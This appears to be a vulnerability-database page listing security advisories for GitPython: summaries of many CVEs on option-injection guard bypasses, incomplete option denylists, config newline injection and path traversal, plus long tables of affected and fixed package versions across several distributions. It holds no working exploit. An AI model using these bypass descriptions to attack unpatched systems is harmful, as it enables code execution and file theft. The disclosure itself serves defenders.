git read-treeoption forwarding inIndexFile.from_tree/reset/merge_treecan lead to arbitrary file overwrites (bsc#1275747). - CVE-2026-76220:
check_unsafe_optionsguard can be bypassed by combining a single-characterkwargwithsplit_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748). - CVE-2026-76221:
config-nameinjection in theoption-namevalidator can lead to remote code execution (bsc#1275749). - CVE-2026-76222: failure to validate submodule names from
.gitmodulesfiles allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750). - CVE-2026-78675: failure to disable
merge_includeswhen parsing.gitmodulescan lead to discloseure of local file contents when arbitrary file paths are included via[include]directives (bsc#1276434). - CVE-2026-78676: failure to safely re-serialize multi-line
git-configvalues during write operations can corrupt dormant quoted values into live injected directives (bsc#1276433). - CVE-2026-78677: omission of
--separate-git-dirfromunsafe_git_clone_optionsallows for creation of arbitrary git directories outside the intended clone destination (bsc#1276432). - CVE-2026-78678: incomplete denylist in the
unsafe_git_revision_optionsguard that omits--contentsand-Soptions allows for reading of arbitrary files when these options to are passed toRepo.blame()(bsc#1276431). - CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read via…
- Record
openSUSE-SU-2026:21874-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-67322 No score
CVE-2026-67322 in GitPython - Patched by Root
Root has patched CVE-2026-67322 in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-67322- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-m4f3-g4cq-hqrx No score
GHSA-m4f3-g4cq-hqrx in GitPython - Patched by Root
Root has patched GHSA-m4f3-g4cq-hqrx in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-m4f3-g4cq-hqrx- Updated
- 2026-11-02
OSVROOT-APP-PYPI-GHSA-rwj8-pgh3-r573 No score
GHSA-rwj8-pgh3-r573 in GitPython - Patched by Root
Root has patched GHSA-rwj8-pgh3-r573 in the GitPython package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-GHSA-rwj8-pgh3-r573- Updated
- 2026-11-02
OSVSUSE-SU-2026:4072-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues:
- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
- CVE-2026-73619: incomplete denylist in the
unsafe_git_archive_optionsguard that omits--add-fileand--add- virtual-fileoptions can lead to arbitrary file reads (bsc#1275755). - CVE-2026-73620: failure to guard git option forwarding in
IndexFile.checkout()andTagReference.create()can lead to arbitrary file reads and writes (bsc#1275756). - CVE-2026-73621: argument injection in the
Commit.count()method allows for destruction/blanking of arbitrary files (bsc#1275757). - CVE-2026-73622: failure to disable environment variable expansion in
Remote.create()andSubmodule.add()URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751). - CVE-2026-73623: incomplete denylist in
unsafe_git_clone_optionsthat omits--templateallows for arbitrary command execution (bsc#1275752). - CVE-2026-73624:
Diffable.diffmethod fails to validate git options passed throughkwargs, which can lead to arbitrary file writes (bsc#1275753). - CVE-2026-73625:
check_unsafe_optionsguard bypass via smuggling of git options inside single-characterkwargvalues can lead to arbitrary code execution (bsc#1275754). - CVE-2026-76217: failure to validate options passed to
git rmandgit checkoutcommands inIndexFile.remove()andHead.checkout()can lead to arbitrary file reads (bsc#1275745). - CVE-2026-76218: unguarded git option forwarding in
Repo.initallows for arbitrary command execution (bsc#1275746). - CVE-2026-76219: unguarded
git read-treeoption forwarding inIndexFile.from_tree/reset/merge_treecan lead to arbitrary file overwrites (bsc#1275747). - CVE-2026-76220:
check_unsafe_optionsguard can be bypassed by combining a single-characterkwargwithsplit_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748). - CVE-2026-76221:
config-nameinjection in theoption-namevalidator can lead to remote code execution (bsc#1275749). - CVE-2026-76222: failure to validate submodule names from
.gitmodulesfiles allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750). - CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
- Record
SUSE-SU-2026:4072-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
gitpythonPyPI |
before 3.1.52 | 3.1.52 |
gitpythonTuxCare:PyPI From an advisory covering 5 CVEs |
3.1.31 up to 3.1.31.post10+tuxcare, plus listed versions 3.1.31.post1+tuxcare3.1.31.post2+tuxcare3.1.31.post3+tuxcare3.1.31.post4+tuxcare3.1.31.post5+tuxcare Show 4 moreShow less3.1.31.post6+tuxcare3.1.31.post7+tuxcare3.1.31.post8+tuxcare3.1.31.post9+tuxcare |
3.1.31.post10+tuxcare |
python-gitDebian:12 |
before 3.1.30-1+deb12u3, plus listed versions 3.1.30-13.1.30-1+deb12u2 |
3.1.30-1+deb12u3 |
python-gitDebian:13 |
before 3.1.44-1+deb13u1, plus listed versions 3.1.44-1 |
3.1.44-1+deb13u1 |
python-gitDebian:14 |
before 3.1.61-1, plus listed versions 3.1.44-13.1.45-13.1.46-13.1.50-1 |
3.1.61-1 |
gitpythonPyPI |
before 3.1.52, plus listed versions 0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2 Show 45 moreShow less0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5 |
3.1.52 |
python-GitPythonopenEuler:24.03-LTS-SP4 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp4 | 3.1.52-1.oe2403sp4 |
python-GitPythonopenEuler:24.03-LTS-SP1 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp1 | 3.1.52-1.oe2403sp1 |
python-GitPythonopenEuler:24.03-LTS-SP3 From an advisory covering 5 CVEs |
before 3.1.52-1.oe2403sp3 | 3.1.52-1.oe2403sp3 |
clangRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
Show 157 moreShow less
| Package | Affected | Fixed |
|---|---|---|
clang-analyzerRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-resource-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-tools-extraRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
clang-tools-extra-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
compiler-rtRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
git-clang-formatRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxx-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxx-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabiRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabi-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libcxxabi-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libompRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
libomp-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lld-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lld-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldbRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
lldb-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvmRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-boltRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-cmake-utilsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-docRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-googletestRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwindRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwind-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-libunwind-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
llvm-testRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
pollyRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
polly-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-clangRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-litRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
python3-lldbRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:22.1.8-4.1.hum1 | 0:22.1.8-4.1.hum1 |
swift-langRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:6.3.3-0.1.1.hum1 | 0:6.3.3-0.1.1.hum1 |
swift-lang-runtimeRed Hat:hummingbird:1 From an advisory covering 5 CVEs |
before 0:6.3.3-0.1.1.hum1 | 0:6.3.3-0.1.1.hum1 |
clang21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-analyzerRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-resource-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-tools-extraRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
clang21-tools-extra-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
compiler-rt21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
git-clang-format21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
libomp21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
libomp21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lld21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lldb21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
lldb21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-cmake-utilsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-develRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-docRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-filesystemRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-googletestRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-libsRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-staticRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
llvm21-testRed Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
python3-clang21Red Hat:hummingbird:1 From an advisory covering 4 CVEs |
before 0:21.1.8-8.hum1 | 0:21.1.8-8.hum1 |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el8ap | 0:5.2.17-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el8ap | 0:5.2.17-1.el8ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:2.5.20260824-1.el8ap | 0:2.5.20260824-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:2.5.20260824-1.el9ap | 0:2.5.20260824-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el8ap | 0:4.6.32-1.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:4.6.32-1.el9ap | 0:4.6.32-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:3.1.59-1.el8ap | 0:3.1.59-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:3.1.59-1.el9ap | 0:3.1.59-1.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 18 CVEs |
before 0:3.14.3-1.el8ap | 0:3.14.3-1.el8ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 18 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:2.6.13-1.el9ap | 0:2.6.13-1.el9ap |
python-djangoRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3-djangoRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python-djangoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3-djangoRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el10ap | 0:5.2.17-1.el10ap |
python3.12-djangoRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
python3.12-djangoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:5.2.17-1.el9ap | 0:5.2.17-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:4.7.16-1.el9ap | 0:4.7.16-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.1.59-1.el9ap | 0:3.1.59-1.el9ap |
python3.12-aiohttpRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
python3.12-aiohttp-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
python3.12-aiohttp-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 20 CVEs |
before 0:3.14.3-1.el9ap | 0:3.14.3-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el10ap | 0:1.6.8-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.14-1.el9ap | 0:2.6.14-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el8ap | 0:4.6.33-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el9ap | 0:4.6.33-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.10-8.el8ap | 0:2.5.10-8.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el8ap | 0:2.5.20260923-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el9ap | 0:2.5.20260923-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el8ap | 0:3.1.60-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
GitPythonRoot:PyPI |
before 3.1.47+aikido.8 | 3.1.47+aikido.83.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.50+aikido.13.1.49+aikido.33.1.49+aikido.43.1.50+aikido.23.1.46+aikido.83.1.50+aikido.33.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10 |
python-GitPythonSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 27 CVEs |
